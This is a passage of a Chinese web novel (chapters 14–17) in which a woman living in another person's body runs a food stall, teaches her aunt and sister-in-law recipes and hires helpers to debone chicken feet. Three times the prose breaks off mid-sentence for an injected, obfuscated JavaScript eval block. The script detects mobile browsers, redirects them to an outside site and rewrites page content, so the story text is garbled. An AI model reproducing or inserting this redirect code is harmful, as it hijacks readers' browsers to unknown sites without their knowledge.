说得越多越容易穿帮,倒不如含糊几句,黎秋月相信爷爷奶奶的脑补能力。 为了安两位老人的心,黎秋月又简单补充了几句。 “我那边其实挺好的。” 相比起更困难一些的人来说。 “爸妈就我一个女儿。” 的确只有一个女儿,因为弟弟是男的。 “我们没出意外,家里也没欠债。” 欠债的只有我,虽然只是一张信用卡,但不向父母伸手的话,对刚毕业的学生来说是一份沉重的负担。 “我上了大学。” 普通的二本。 “找到了工作。” 金九银十只要名校,最后进的月薪三千的九九六,来之前就被裁员了。 “身体也没什么问题。” 控制不住的暴食跟这边的厌食一样,身体已经快到极限了,但没检查就是没问题。 “她应该过得不会太差。” 应该也跟好沾不上边。 黎秋月说的都是真话,只是每句都没说全。 “那就好,只是苦了你……” 爷爷奶奶看的出黎秋月没撒谎,也对自家的十六放了点心,念头一转便开始心疼起面前的十六了。 本来好好的过着日子,结果睁眼就背了那么多债,这段时间是怎么过的哦。 “我不苦啊。” 黎秋月在自己的时空不管是心理还是身体都已经在崩溃的边缘,她像一根不断绷紧的弦,直到来到这边才放松了一点。 倒是成了她的原主才苦呢,没学历没工作没个头只有体重一骑绝尘,虽然她信用卡里的欠款跟原主的比起来连零头都算不上,但她这边又不急着还,信用卡的账单日却不远了。 黎秋月说的真心实意,爷爷奶奶却只当她在强颜欢笑,你一言我一语的安慰许久,甚至还想给黎秋月塞钱,弄得黎秋月只留下一句有空会再来看爷爷奶奶,就逃也似的跑了。 “呀,忘了给爷爷奶奶尝尝了。” 黎秋月看到车篮里的保温桶,有些懊恼的拍拍脑袋,现在回去是肯定不行了,好在她还有一个地方要去。 “嫂子,我来看你啦。” 乘着天还没黑透,黎秋月骑着小电驴到了大伯家,在门口就看见了大嫂,刚招呼一声就发现不对。 嫂子好像在抹眼泪?! 14. 选一道菜学 “秋月来了啊。” 嫂子笑着将黎秋月带进去,黎秋月本来还觉得刚刚可能是自己看错了,结果一进院子就看到大妈在扫地,簸箕里的碎瓷片被灯光反射的分明。 他们这边叫大伯的妻子为大妈,二伯妻子为二妈,以此类推。 “我大哥呢?” 这个时候二哥应该还没下班,但大哥基本是没有加班的,黎秋月叫同辈的兄弟姐妹向来不加堂表,也没人会多说什么。 “浩浩刚刚有事上去了。” 大伯生了两个儿子,大堂哥叫黎浩浩,二堂哥叫黎滔滔,据说取的是大河浩浩汤汤,只是也不知道其中出了什么岔子,黎汤汤就成了黎滔滔,但就黎秋月来看,滔滔还是要比汤汤好听的。 “这样啊。” 黎秋月也没追问下去,她本来还不敢肯定刚刚发生的大战是谁理亏,大伯这话一出来,是大哥的错没跑了。 “对了,尝尝我带来糯米藕和土豆泥,这是我自己做的。” 黎秋月不打算掺和进这对夫妻的恩怨,主要是之前尝试过,然后被弄得里外不是人,她这次来主要是为了另一件事。 “秋月做的啊,难怪看着就好吃。” 这边的灯光有些暗淡,衬的食物卖相很一般,几人本来也只打算口头上客气一下,但黎秋月都这么说了,他们还是象征性的尝了尝,然后就停不下来了。 黎秋月对自己做的吃食没什么兴趣,她抱着一个橙子专心剥皮,这橙子可不是普通的橙子,这是自家种的橙子树结的果,一口下去不腻味的甜里带着果香,要不是数量太少,黎秋月可以直接当饭吃! “妹妹你真的好厉害啊!” 邱云恋恋不舍的放下筷子,眼睛亮的像星星。 黎秋月名义上是她的隔房小姑子,但对着比自己小十岁的女孩子,她实在是叫不出来这三个字,一般都是秋月秋月的喊着,可其实在她心里,黎秋月跟自家妹妹没什么两样。 邱云私底下没少叫黎秋月妹妹,但当着大伯他们的面喊出来还是第一次。 “我也觉得!” 黎秋月一点不客气的接受了温柔大嫂的夸奖,觉得气氛也铺垫的差不多了,索性就直说了。 “大妈,这两个摆摊都是能挣钱的,你想学哪个?” 这才是黎秋月来这边的主要目的。 “……啊?” 大妈是真的惊住了,她怎么都没想到黎秋月这次过来跟她有关,但想想刚刚尝到的滋味,她几乎是立刻就心动了。 “大妈,你好好想想。” 黎秋月目光灼灼的看着瘦小的女性,授人以鱼不如授人以渔,把手艺教给大妈,她是经过仔细思索的。 大伯年轻时候是干工地的,做一天就能挣一天的钱,虽然现在年纪大了,但还是能找到短工获得收入的。 而大妈要操持家里,除了偶尔能打点零工挣钱,大半辈子都是在照顾儿女中度过的,而她选定的养老大儿子……真不是黎秋月说,他们俩指望大嫂邱云都比黎浩浩靠谱! 能自己挣点钱,总比手心向上的日子来的好过吧。 等待大妈回答的黎秋月没注意到,邱云在她说愿意教手艺的时候,眼中闪过一道亮光。 跟黎秋月预料的一样,出于对成本和食材的考虑,大妈最后选择的是浇汁土豆泥,还连声夸赞黎秋月,有些惭愧自家还让黎秋月操心 “这有什么,之前大伯大妈你们也没少帮我。” 大伯一家子在原主出事的时候是真的掏了家底子的,就冲着这一点,黎秋月把手艺教出去也心甘情愿! 约好了教导时间,黎秋月又把大妈就算有她教导,短时间也不能达成完美复刻,而不是他故意藏拙的事情提前告知,对此大伯一家的意见是—— “能做出一半的水平就不错了,摆摊肯定不愁卖!” 自家侄女在厨艺上是个天才,拿他们跟厨神追着喂饭的人比进度,那不是脑子坏了吗。 “……那我先走了。” 黎秋月有点想反驳,相比起所谓的天赋论,她其实是努力流,学习空间动辄几月的进修时间可以证明这一点,但这些外界都不知道,她只能含泪认领了天才的头衔。 只希望原主回来的时候,两个人能厨艺互通吧,不然她就得成为有着天才厨艺的第二人格了。 “我先回去了。” 黎秋月打了个哈欠,骑上车篮被塞满的电动车准备走人,嫂子邱云主动提出送送她,然后在门口拉住了黎秋月的衣服。 黎秋月:…… 怎么今天老有人要拉她的衣服? “妹妹,我能学那个糯米藕吗?” 黎秋月做好了当情绪垃圾桶的准备,却听到邱云低声的哀求。 “嫂子你不是有工作吗?” 黎秋月下意识的问道,嫂子就在附近的厂里当文员,虽然没有五险一金,但四五千的工资还是拿得到的,而且也给放月子假,嫂子就一直没挪窝。 “早没了。” 黎秋月这才知道,工厂在疫情中已经耗光了元气,后面都是苟延残喘,这个月初的时候老板召集了所有的工人,额外发了一个月的工资就把工厂解散了,嫂子也就这么下了岗。 文员在工厂里很忙,但忙的都是些毫无技术含量的事情,加上嫂子生了三胎,找工作的时候一直没有多少竞争力,然后月中还没过黎秋月大哥就觉得是自己养家,开始对嫂子吹毛求疵。 嫂子不是个能忍的性子,两人三天两头就要吵上一架,但因为没怎么动真格,大哥就有些蹬鼻子上脸了,然后今天嫂子彻底没忍住,跟黎秋月大哥吵了个惊天动地,弄得碗碎碟裂杯盘狼藉。 “他还好意思说自己养家,三十多岁的人了两千五的工资都没有,当年生三宝的时候说会让我过好日子,结果……” 可能是之前的吵架消耗了太多精力,嫂子哭的梨花带雨,让黎秋月非常十分无比特别的麻爪。 “能教是能教,但莲藕过了季就不好吃了,到时候做出来跟路边摊的水平差不多,你也挣不到钱啊。” 黎秋月有些为难的开口,其实她现在能给出来的菜谱其实就是土豆泥,糯米藕是凑数的。 “现在能挣钱就行,以后我应该也不会一直干这个。” 邱云的思绪很清晰,她没找到工作除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982785|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自身能力有限,更重要的应该是刚好赶上了金九银十的大环境,大把自带补贴的应届生和只要实习证明的临毕业生找工作,老板们已经挑花了眼睛。 这段时间别说她这种普通人了,就算霍金来了都要被嫌弃不能站起来敬酒。 但是年后老板们被春晚一熏,脑子就会清新不少,她只要不挑剔,入职也不是什么难事。 “那你明天跟大妈一起来?” 邱云方方面面都考虑到了,黎秋月也没什么反对的,跟嫂子商量好了学习时间,黎秋月赶紧一拧把手上了路。 大伯家在乡下,植被茂盛,换句话就是好多蚊子,刚刚黎秋月跟嫂子说话的时候手脚都没停过,身上还是多了不少红点点。 黎秋月没戴手套,骑了会儿车就觉得冷,于是放慢了车速,机智的开始表演单手骑车进行轮流取暖,结果右手伸到口袋里的时候就摸到一块硬东西。 停车看看闻闻,原来是块花生牛轧糖。 这应该是嫂子偷偷塞进来的。 黎秋月将糖放到了嘴巴里,浓郁的奶味让她享受的眯起了眼睛。 “晚风轻抚澎湖湾~白浪逐沙滩~” 解决了大问题的黎秋月哼着歌到了家,然后在看到桌上精致饭盒后直接成了被扼住喉咙的鸭子,低头在微信里疯狂查找,发现消息已经发过去后顿时疯了,抱着盒子就往外跑! …… “顺风今天能发吗?” “行,走其中最快的,能加急多少加急多少1” “扫了,安排上了吗!” “行,我会看的。” …… 看着自己的快递被冰袋封的严严实实的上了路,黎秋月终于松了口气,她现在只希望顺风的加急是真的有用,不然她就不是表达感谢,而是得罪人了! 任务完成,黎秋月心神放松下来才觉得自己肚子打鼓,看看时间也懒得出去买菜,所幸冰箱里的食材不少,不至于让黎秋月制作食物盲盒果腹。 去皮的莴笋用刨子削片,然后叠好被切成细丝,提前焯水煮熟的肉丝拿出来解冻,往热油里撒两颗小米椒,再将莴笋和肉丝放进去翻炒调味,两分钟的功夫就能出锅。 黎秋月做这道菜,主要就是看中了莴笋生熟都能吃,还不像豆角子半生不熟会中毒,那句话怎么说来着? 笋丝炒肉丝,没熟也能吃! 飞快的解决掉一份莴笋炒肉,一份汤泡饭,黎秋月立马去洗漱上床,为第二天的硬仗做好准备。 黎秋月在跟周公下棋的时候,被付了超级加急费用的包裹风驰电掣的赶向目的地,等黎秋月开始教嫂子和大妈分辨食材的时候,快递已经送货上门,管家拆好跟业主汇报了。 “我的快递?” 别墅里的女子打了个哈欠,刚打算拒收又想起什么,翻了翻绿信,果然看到一条聊天记录。 原来是那个她高价买房的小姑娘寄过来的。 要是检测结果没问题的话,那就尝尝吧。 黎秋月教人教的昏天黑地,连系统的任务提示音都成了天籁之音,她几乎是迫不及待的翻起了菜谱,准备进学习空间换换脑子! 15. 酸辣无骨鸡爪 “选什么好呢……” 黎秋月翻开菜谱的时候有多迫不及待,选菜品的时候就有多纠结。 这个看着好吃,那个也挺不错,角落的虽然难做又不好摆摊卖,却是她特别喜欢的菜。 纠结半晌,黎秋月还是叹着气用起了排除法。 天气越来越冷了,她打算买辆餐车,到时候就能做点热乎的东西,小电驴也不用挑战极限,黎秋月冷了还能顺便取取暖,可谓是一举多得。 唯一的问题是,她二打头的四位数余额不太能支持鸟枪换炮的费用,所以这周的菜品选择至关重要。 材料要好找,利润要拔高,冷吃味不差,制作周期还不能太长。 “就它了。” 黎秋月一边翻一边筛,最后将食指重重点到一个菜名上。 【酸辣无骨鸡爪】 无骨鸡爪是近几年流行起来的小摊爆款,一斤五六十都是正常价格,今年她们这边甚至涨到了80,有些地方卖的都破了百,虽然成本也算不上低,但黎秋月还是毅然决然的选了它。 批发市场的鸡爪才二十多一斤,这可是翻倍的赚! “我错了,我真的错了。” 学习空间里,黎秋月两眼无神的给鸡爪去骨,她光想着无骨鸡爪好卖,但怎么都没想过给它脱骨会这么难! “哎哟。” 手指一抖,小刀直接在皮肤上拉出一个血口,黎秋月赶紧将鸡爪放到一边,那伤口两秒钟就恢复到了没受伤的状态,黎秋月习以为常的把手洗干净,继续跟鸡爪干仗。 第一次看这种时钟反转状态倒流还会惊奇,但第二次,第三次……现在的黎秋月已经完全麻木了,对伤口的担心甚至还没有对快脱骨完的鸡爪沾血来得多。 毕竟伤口出现两秒就好,鸡爪沾血要从头再来。 “瞅瞅你这脆骨破的,鸡要是能说话都得告到中央,说它死了都碰不上一个用巧劲的厨子。” 老师溜达过来捞起黎秋月刚剥好的鸡爪啧啧两声,毫不犹豫的对黎秋月开了嘲讽,黎秋月只当自己聋了,继续跟面前的的鸡爪大骨奋斗。 这个老师的手艺是真的好,但嘴也是真的毒,要是无的放矢也就算了,偏偏他每次都能说到点子上。 “看好了,这个地方要这么使劲儿。” 嘴毒的老师捞起一只鸡爪给黎秋月做示范,也没见他耍什么花刀,就那么动动挑挑,鸡爪掌心宝后面连接的大脆骨就完完整整的脱离了下来。 黎秋月的眼神瞬间就亮了! 也不知道处理了多少鸡爪,黎秋月总算是在这个毒舌老师的口中得到了一个合格的评价,能够开始调配料汁了。 “关关难过关关过啊。” 黎秋月低声感叹一句,调配料汁并不比给鸡爪去骨容易,但这也是最后一个难点,靠着闯过去就能出师的信念撑着,黎秋月终于……靠着记忆法混到了及格。 突破是不可能突破的,只能靠着勤奋和努力进行量变。 “系统,抽取……可以晚一点抽取摆摊时间和地点吗?” 刚考完试的黎秋月意气风发,却在看到【酸辣无骨凤爪】的时候停了停,手指的酸疼倒是在其次,主要是她总觉得里面好像有坑。 但真要说有什么不对劲,她又说不上来,只能归为没有科学依据的直觉。 【可以,时间可推迟到晚上九点半,逾期将强制分配时间地点。】 体验过教人的感觉后,黎秋月出于私心,偷偷将系统的提醒时间往前推了好几个小时,现在才刚过中午十二点,完全有时间复刻一遍菜品的制作流程。 “好的。” 黎秋月立马穿鞋出门,不管有哪里不对劲,把无骨鸡爪做一遍,至少摆摊前会出现的问题都能蹦出来。 “二十四?你抢钱啊!” 黎秋月觉得老板就是看她年轻好说话,二十在外面算是正常价格,但这可是批发市场! 上次她买莲藕的时候都听到了,鸡爪一斤才18块多,多买价钱还能往下压。 “鸡爪年后就没下过20了,也就前两天到了一批特价小鸡爪,当天就被人给订光了。” 老板也很无奈,黎秋月也算是批发市场里的常客,他肯定不会做一锤子买卖,但这几年的鸡爪价钱真的是节节高,他总不能亏本往外卖吧。 “要不你多买点?” 这话一出,黎秋月就知道里面还有些门道,自觉压低了声音。 “怎么说?” 饭点的时候批发市场也没什么人,老板索性给黎秋月卖了个好,讲了点鸡爪里面的门道。 “这鸡爪跟鲍鱼一样,看重量分品相,单只一两以下的是小鸡爪,最便宜,之前那批说是特价,其实小鸡爪就是十八块左右,顶多降了一两毛钱。” 降价的范围黎秋月也就是听听就算了,这个老板没抢到那批特价鸡爪,酸着呢。 “一两往上,一两半往下的就是中鸡爪,也就是我们这种,价钱常年都没下过二十,一般都在23上下。” 凭着直觉黎秋月猜测干货要到了,她不自觉的集中精神,认真的模样给老板提供了极大的情绪价值,也没继续卖关子。 市场上能买到鸡爪的不止他一家,要是客人嫌他话多跑路,他估计半夜都睡不着觉。 “鸡爪之类的货,除了按斤称,还能按件买。” 黎秋月的确是第一次听到这种说法,但在她问件的具体意思的时候,老板解释了半天都没让她听懂,颇有些不可意会只可言传的意思,最后黎秋月不耐烦了,索性抛开外在直指核心。 “一件多少钱?里面有多少斤?” 不管是什么计量单位,价格和分量才是最重要的。 “一件30斤……645。” 老板说价格的时候顿了下,黎秋月有些狐疑的看过去,老板也没隐瞒。 “一般都是五件起批,价钱是610,你只要一件,那就得贵些。” 黎秋月接受了这个解释,在心里算出来按件买是21.5/斤的时候,根本没有继续思考下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982786|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “给我一件。” 三十斤的鸡爪看起来多,但摆起摊来也供不了多少客人,黎秋月主打一个该省省该花花,还让老板送了二两无骨鸡爪,准备试试能不能省掉去骨的步骤。 买完鸡爪买大料,等黎秋月走出批发市场的时候,余额打头的二已经变成了一。 少量多次的将所有东西运回家,黎秋月先试了试无骨鸡爪,不知道是不是这批货有问题,焯水后的无骨鸡爪腥气太重颜值太低,食缩力的效应太过明显,只能遗憾的放弃。 一件货三十斤,黎秋月拿了十斤鸡爪准备下锅,然后发现锅小爪多装不下,最后折中选了便于计算的四斤。 剪了指甲的干净鸡爪冷水下锅,加花椒粒,八角,香叶和白芷,再放葱姜去腥两件套,等水面冒泡的时候转最小火盖上盖子,黎秋月终于能坐下休息一会儿。 煮上一盏茶多的功夫,黎秋月又关火焖了一段时间才揭开锅盖,这是老师教她的鸡爪不破皮小技巧,她记得贼牢! 出锅的鸡爪反复过凉水,等到最后一丝热气消散,就是给鸡爪去骨的好时候。 这方面黎秋月已经达到了专业水平,不到半个小时的功夫,四斤鸡爪已经被分成了两堆,骨头在盘子外面,其他部分都在盘里。 去骨鸡爪继续在凉水里封存,黎秋月开始熟门熟路的调酱汁,二十多种材料信手拈来,没人知道这潇洒一放的动作中饱含多少血泪。 人前显贵? 人后受罪! 鸡爪倒进调好的料汁,黎秋月用筷子将其搅拌均匀,封口以后放到冰箱,只等至少半天的冷藏时间结束,就能出摊赚金币了! 等待的过程是无聊的,黎秋月收拾了桌上的骨头,入手的重量让她眉头一皱,一直缺少的最后一块碎片终于被补完,黎秋月突然明白这次到底坑在了哪里! 鸡爪是要去骨的! 想到这一点的黎秋月如临大敌,飞快的把烘焙秤拿了出来,称完骨头的重量后,黎秋月悬着的心终于死了,默默抽出纸开始计算成本。 四斤鸡爪差不多出来两斤骨头,一斤无骨鸡爪的成本就是43,按照四斤鸡爪的用料比例,每斤还要加上至少8元的调料费,水电燃气就算2元,则一斤无骨鸡爪的成本最低为53。 而这些还不是所有的费用,还有一个大头是给鸡爪脱骨的人工费。 黎秋月属于熟练工中的熟练工,一个小时能给十来斤鸡爪脱骨,但寻常人在没经过训练的情况下,一个小时脱骨四斤都算多的,按照她们这边二十块钱的时薪,黎秋月的无骨鸡爪还要搭上10块左右的人工费用。 “一斤鸡爪成本63,那得卖多少钱啊!” 黎秋月被这个数字惊住,外面的无骨鸡爪多数都是60-70,少有几家才敢卖80,黎秋月先前还觉得60已经很贵,合着是根本没把自己的人工费用给算进去啊! 这赚的都是辛苦钱啊! “系统,我还能更换菜品吗?” 黎秋月硬着头皮问道。 16. 真的心动 “我在仰望,月亮之上……” 手机铃声响了好一会儿,黎秋月才反应过来是有电话来了,赶紧接了起来。 她手机一向都是买回来的默认音效,但父母明显觉得那个叮咚的生硬有些单调。 “……” 黎秋月接通后也没说话,现在科技发达,她之前看过一些防诈骗案例,其中一个就是拨打电话以后对说话者进行录音,然后用AI技术打给亲戚朋友进行诈骗。 这个号码她不认识,还是等对方先说话比较好。 “你好,是黎秋月小姐吗?” 手机里传来一个陌生的男音。 …… “好的,那就这样说定了,绿信我待会儿就加。” 黎秋月挂了电话长出口气,要不是有摆摊的任务顶着,她肯定就答应了。 一天一千块钱啊,三天的工资就可以把她原来的一个月买下来了。 黎秋月一边想一边在绿信上发出好友申请,电话是富婆小姐姐那边的人打来的,就是高价买了黎秋月家房子的那位。 小姐姐收到了黎秋月寄过去的包裹,觉得里面的吃食很合胃口,但黎秋月发完信息就将原主的手机重新关机了,小姐姐联系不上她,才花了些手段来找人,并发出待遇优越的入职申请。 包吃包住,基础工资1k/天,奖金之类的另算,工作就是按照一日三餐的分量准备土豆泥和糯米藕,黎秋月真的疯狂心动,奈何有美食点在面前吊着,只能含泪拒绝小姐姐的橄榄枝。 用新的微信号跟小姐姐联系上后,黎秋月再次将原因说了一边,小姐姐那边也没有强求,只是问能不能买土豆泥和糯米藕。 【十五的月亮:……不行。】 【吃喝玩乐:为什么?!】 【十五的月亮:我觉得我不愿意。】 【吃喝玩乐:……】 【吃喝玩乐:你这病也够任性的。】 【十五的月亮:谁说不是呢(大哭.jpg)】 【十五的月亮:我想多赚点钱它都不愿意!】 【十五的月亮:我这周打算卖酸辣无骨凤爪,您要来一份吗?】 黎秋月不打算把自己忙成陀螺,原主筹钱的时候伤神费力,她养到现在都觉得自己虚的慌,虽然没找老中医瞧过,但她猜八成应该是伤了底子,得慢慢养着。 【吃喝玩乐:有多少?我都要了!】。 【吃喝玩乐:对了,别您您您的说话,听着别扭,直接叫我贺兰姐吧。】 这位是个大方的主儿,就是总想着打包带走或者直接包圆,让黎秋月很有些无奈。 【十五的月亮:120一斤,最多匀贺兰姐三斤。】 黎秋月不松口,她的吃食从来不愁卖,赚钱的确很重要,但一切都向钱看的日子也没什么意思。 想到疯狂给她吹彩虹屁的客人,黎秋月的嘴角悄悄勾起。 你来我往的扯了几个回合,以贺兰拿下每天十斤的份额,黎秋月郑重声明自己做四休三,数量绝对不可能继续上涨后结束。 【吃喝玩乐:转账10000】 贺兰是个利索的,直接把钱一次性转了过来,但黎秋月怎么看都觉得不对劲,就算是加上运输费也离转账的数量差了老大一截。 【吃喝玩乐:多的给你当零花钱,不许转回来,不然我会生气的。】 这话一出,黎秋月只能停下找钱的念头,琢磨着回头做了好吃的也顺路寄过去,对方大方是一回事,她也不能把善意当成理所当然。 这笔钱算是意外收入,黎秋月把这笔钱单独放到一张银行卡上,准备把从贺兰姐得到的进账也都往这张卡里存,不参与她的日常消费。 没准存着存着,就能把爷爷奶奶的房子给买回来呢。 黎秋月一边琢磨一边给鸡爪剪指甲,鸡爪要在料汁里浸泡至少12个小时才能入味,现在不抓紧时间做完,总不能在摆摊的时候不掀盖子,等到了时间再拿出来卖吧。 “系统,可以开始抽取时间和地点了。” 黎秋月盖上锅盖,洗了好几遍手才虔诚的开口。 【任务:请宿主在下周每个工作日的下午六点,在昌南大学门口的第三棵树下售卖酸辣无骨鸡爪。】 “这地方还真合适,就是有点远。” 黎秋月看着导航结果笑了笑,昌南大学离她家快30公里,小电驴跑个单程还行,回来八成得半路趴窝。 但她也不得不承认,这的确是最适合的地方。 大学生是一个神奇的存在,他们面对任何昂贵的食物都能勇于尝试,然后飞快的将评价分享出去,然后得到两种结果——物超所值的水泄不通,花钱怨种的门可罗雀。 他们乐于给所有的东西一次机会,却不会给第二次机会,跟黎秋月缺少第一枪的无骨凤爪简直完美适配。 尤其是时间也选的巧妙,早上的大学生没有早八起不来,中午的大学生非必要需求不愿动,只有下午才会精力旺盛的四处折腾。 要不是黎秋月曾经也是其中的一员,她都怀疑大学是不是自带什么吸血鬼病毒,不然怎么一个个除了上课大多都昼伏夜出。 剪指甲,焯水,去骨……黎秋月觉得自己跟流水线上的女工没什么区别,只是单价要更高一些。 不能再这样下去了! 黎秋月猛的站起来,从冰箱里捞出大概半斤的凤爪,敲响了隔壁的房门。 “你想雇佣两个小时工?” 刘奶奶把鸡爪小心的放进冰箱,重复了一遍黎秋月的需求。 “嗯,这次打算卖去骨鸡爪,实在是忙不过来。” 黎秋月苦笑着说道,三十斤骨头剔下来,让她深刻的体会到有些钱还是要让别人赚。 “您看看能不能找几个合适的,我这边一小时能给20块钱。” 这个工钱其实很高,很多日结的兼职时薪都是十一二块,要找十六七块时薪的兼职,那除非去女人当男人用,男人当叉车用的快递分拣行业。 “不过我这边一天也就只能做四五个小时,这方面要提前沟通好。” 黎秋月见李奶奶一副看傻孩子的表情,赶紧补充了原因。 兼职单价低但工时长,她这边工时短,要提高吸引力只能增加工资。 “那还差不多。” 刘奶奶怕自己记性不好,点开手机上的备忘录把工钱之类的重要信息记下来,又问黎秋月有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982787|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有更具体的要求,黎秋月之前就在琢磨帮工的事情,刘奶奶一问她就跟倒豆子似的说了出来。 “我这边只要女的,因为是上门做事,男的不安全……” 刘奶奶也明白黎秋月的顾虑,把招女两个字加大加粗,作为一个时髦的老太太,她把各种文档格式都玩的溜溜的。 “干活要卖力,嘴要严,我这边的情况您也知道,要是……” 黎秋月没有选择自己招聘,一是没有这方面的人脉,二就是怕她雇人会有麻烦—— 都有钱雇人了,那债肯定也能还上了。 只要一个债主有这种念头找上门,黎秋月好容易得来的清净日子就会毁于一旦。 就算约定了还款日期也没用,这是人性。 “是得注意着些。” 刘奶奶郑重的点点头,把嘴严两个字标红放大。 “我要求就这三个,最好明天就能过来干活,这几天是真的忙。” 一想到明天还有大堆的鸡爪要剔骨,黎秋月就觉得眼前发黑。 “我记下了。” 刘奶奶送走黎秋月,确定自没想到没有合适的人选后,就开始扒拉自己的关系网,很快锁定目标穿鞋出门。 “秀秀,开门啊,别躲在里面不出声,我知道你在家,我来看你啦——” 刘奶奶复刻了一波电视剧的名场面,门很快被打开,出现一个生气的蓝秀秀。 “秀秀,看我给你带了什么!” 刘奶奶只当没看到好友的黑脸,这次是她做的有些过分了,换成秀秀在她门口上演一出大戏她也生气。 精致的盒子被打开,一股辣中带酸的奇特香气飘了出来,蓝秀秀吸了吸气,眼神不自觉的飘了过去。 “无骨凤爪,是买土豆泥的小老板做的。” 她这个好友总是有点莫名其妙的小坚持,比如把鸡爪叫凤爪。 听到了关键词,蓝秀秀的耳朵动了动,虽然还是板着脸没理人,却已经伸手拿了只凤爪塞到嘴里。 弹! 这是蓝秀秀的第一个感觉,不知道怎么做出来的凤爪格外Q弹,蓝秀秀不是第一次感受到食物在口中跳舞的滋味,但头一次发现凤爪也能给人这种感觉。 没有浸泡够时间的凤爪只有微微的酸辣,恰到好处的刺激着懒洋洋的的味蕾,像是手指轻轻撩动水面,带出一串串逐渐微弱却始终不消失的涟漪。 再然后,牙齿碰上了对手。 完整剥出来的脆骨没有跟久炖的牛筋一样软糯,它带着少少的硬度,为咬合的牙齿带来另一种切开食物的快感,最中心的粗结和四周细长的筋是不同的口感,却都让人流连忘返。 两只凤爪很快下了肚,蓝秀秀有些遗憾的睁开眼睛,面色因为食物柔和许多,刘奶奶立马打蛇随棍上,哄着好友将此事翻了篇。 “说吧,你来找我干什么?” 蓝秀秀直接问道,李奶奶是个无事不登三宝殿的主儿,今天又不是约好的日子,匆匆赶过来肯定有事要做。 “我这边有人要找两个帮工……” 刘奶奶嘚吧嘚吧的将要求说出来,蓝秀秀敲诈两只鸡爪后干脆的应下。 “包在我身上。” 17. 奶油蘑菇鸡片汤 照例在清晨醒来,黎秋月骑着小电驴去批发市场又买了一件鸡爪,然后在家里看着满当当的冰箱。 容量500多升的冰箱不算小,四十五斤鸡爪也没有多少体积,但加上提前准备好的料汁,保鲜的区域就被占了大半,抽空买回来的各种食材只能挤在角落,显得格外可怜。 要不要再买个冰箱呢? 黎秋月郑重的思考着这个问题,但直到敲门声响起,她还是没有做出选择。 “我们是刘阿姨介绍来的,她说在微信上跟您说过。” 门口的两位女性看起来有些紧张,但黎秋月的慌张比她们只多不少。 “……你们先进来吧。” 黎秋月手忙脚乱的将两人安置到桌旁,以整点再工作的借口获得了一点时间,然后对原主的手机疯狂按开机键。 她怎么就忘了给刘奶奶新绿信号呢! 原主的手机在卡死三次后,终于艰难的登陆了绿信,黎秋月确定两人说的是真话后,默默将刘奶奶的名片推给了自己的手机,准备回头就去发好友申请,相同的坑绝不掉第二次! “我这边主要的工作就是食材处理,刘奶奶应该跟你们说过吧?” 黎秋月又对两人确认一边,见两个劳动力都乖乖点头,才将早上买的鸡爪分批端了出来。 “今天的主要任务就是给鸡剪指甲,然后去鸡骨,一个小时二十,做完当场结账。” 三十斤鸡爪被分了六个盆,看起来颇为壮观,两个人却都只是点点头,抄起剪子就开始干活,黎秋月正美滋滋的看着盆里增加的没指甲鸡爪,就闻到一股糊味。 “我的汤!” 黎秋月惨叫一声跑进厨房,但牛奶已经全糊了,好在黄油没做鸡肉没下锅,不然损失只会更大。 本来想做牛奶蘑菇鸡片汤的,现在只能做鸡片汆汤了。 刚刚拿出来的鸡胸肉去掉筋膜切薄片,在蛋清,盐和水淀粉中搅拌均匀,刷干净的锅重新烧开水,鸡片全都倒进去,再舀一勺料酒,汤第二次烧开的时候撇掉浮沫,出锅后点两滴香油。 快手汤,但水鲜肉嫩,黎秋月觉得可以加入长期菜单。 “好快啊。” 黎秋月把汤端到小桌上放凉,就看到盆里已经有了不少没指甲的鸡爪,感叹一句后随意捡了两只查看,见没什么问题就用空盆换走了鸡爪盆,准备先把这部分焯水。 三十斤肯定是做不到一锅出的,她得提前做准备。 洗锅焯水焖煮冲凉……黎秋月家里两个灶台上的火就没停过,但相比起昨天的劳动量,今天的黎秋月还能抽出时间给自己做午饭。 早上泡进水里的猪腰已经涨大了一倍,猪腰买回来之前就被摊主料理干净,连表面的白色薄膜都撕的一点不剩,黎秋月直接动刀就行。 “你们要在这边吃饭吗?” 黎秋月把脑袋探出厨房问道,虽然说了不包吃,但第一天都处在相互磨合阶段,破个例也不是不行。 当然,要是后面她们也不提前准备的话,黎秋月也不会再问。 “不了,我们准备了午饭,用微波炉热热就好。” 两个劳动力拒绝了黎秋月的邀约,手上的动作依旧没停,黎秋月也没再坚持,回去将猪腰切成了麻将牌大小的棱形方块,上面还带着漂亮的花刀。 